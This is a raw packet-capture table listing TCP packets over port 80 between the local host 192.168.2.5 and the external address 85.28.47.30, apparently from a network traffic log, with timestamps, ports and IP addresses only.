Jul 4, 2024 22:20:25.381433010 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.381437063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381448030 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381458044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.381458998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381472111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381479025 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.381486893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.381511927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.381849051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.381892920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.382208109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.382246971 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.382280111 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.382291079 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.382323980 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.382493973 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.382505894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.382515907 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.382528067 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.382539034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.382551908 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.382579088 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.386754036 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.386802912 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.386810064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.386821032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.386854887 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.386949062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.386959076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.386969090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.386982918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.386997938 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.387022972 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.389233112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.389281034 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.389293909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.389306068 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.389350891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.389377117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.389394045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.389419079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.389430046 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.389482021 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.389493942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.389509916 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.389532089 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.389554024 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.396106005 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396161079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.396194935 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396205902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396249056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.396274090 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396286011 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396321058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.396429062 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396440029 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396486044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.396626949 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396639109 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396697044 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.396725893 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396738052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396754026 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396765947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396778107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.396778107 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.396786928 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.396814108 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.397013903 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.397057056 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.399647951 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.399707079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.399730921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.399744034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.399785042 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.400006056 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.400017023 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.400027990 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.400052071 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.400064945 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.400150061 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.400158882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.400199890 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.401421070 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.401441097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.401453972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.401469946 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.401482105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.401498079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.401622057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.401638031 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.401648998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.401659012 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.401668072 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.401679039 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.401696920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.401798010 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.401837111 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.404966116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.404975891 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405016899 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405016899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405016899 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405041933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405051947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405081987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405210972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405221939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405256033 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405348063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405392885 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405416965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405427933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405467987 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405555964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405566931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405576944 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405589104 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405601978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405608892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405610085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405628920 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405641079 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405653954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405760050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405770063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405778885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405786037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405795097 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405821085 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405853033 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405864000 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405874014 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.405900002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405919075 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.405996084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.406039000 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.406070948 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.406115055 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.406119108 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.406157970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.450494051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.450531960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.450541019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.450634003 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.450674057 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.450685978 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.450695038 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.450711966 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.450733900 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.450797081 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.450872898 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.450910091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.461451054 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.461508989 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.461518049 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.461538076 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.461555958 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.461618900 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.461628914 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.461669922 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.461766958 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.461777925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.461787939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.461813927 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.461826086 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.461910963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.461955070 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.461987972 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.462002039 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.462028980 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.462038994 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.462129116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.462140083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.462151051 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.462162018 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.462171078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.462188005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.462210894 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.462398052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.462441921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474073887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474107981 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474119902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474136114 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474148035 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474157095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474293947 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474306107 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474315882 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474324942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474344015 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474368095 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474514008 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474525928 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474535942 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474560976 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474577904 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474661112 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474670887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474708080 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474803925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474814892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474826097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474833965 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.474850893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.474867105 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.475038052 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475049019 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475059032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475081921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.475081921 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475095034 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475100040 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.475107908 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475125074 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.475147009 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.475528002 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475539923 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475550890 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475562096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475574017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475574970 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.475585938 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475595951 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.475598097 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475604057 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.475632906 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.475915909 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.475960016 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.480323076 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.480353117 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.480362892 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.480364084 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.480391979 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.480492115 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.480503082 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.480511904 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.480524063 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.480537891 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.480550051 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.480572939 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.480623960 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.480663061 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.482997894 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.483042002 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.483046055 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.483061075 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.483103037 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.483166933 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.483180046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.483215094 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.483269930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.483280897 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.483318090 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.490434885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.490478992 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.490506887 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.490518093 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.490559101 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.490684986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.490695953 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.490705967 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.490717888 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.490731955 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.490746975 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.491013050 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.491024017 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.491034985 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.491044998 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.491056919 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.491059065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.491067886 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.491072893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.491080046 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.491086960 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.491113901 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.493469954 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.493515968 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.493546963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.493557930 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.493594885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.493597984 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.493635893 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.493758917 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.493802071 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.493805885 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.493818045 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.493844986 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.493855953 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.493976116 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.494008064 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.494019032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.494044065 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.497756004 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.497767925 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.497777939 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.497805119 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.497822046 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.497916937 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.497929096 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.497960091 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.497971058 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.498111963 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.498122931 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.498130083 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.498162031 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506000042 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506057978 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506098032 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506108999 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506144047 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506179094 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506218910 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506279945 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506290913 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506300926 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506309986 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506331921 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506356001 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506422997 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506433964 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506443977 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506464005 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506483078 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506563902 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506608963 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506645918 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506663084 CEST	80	49704	85.28.47.30	192.168.2.5
Jul 4, 2024 22:20:25.506695032 CEST	49704	80	192.168.2.5	85.28.47.30
Jul 4, 2024 22:20:25.506709099 CEST	49704	80	192.168.2.5	85.28.47.30
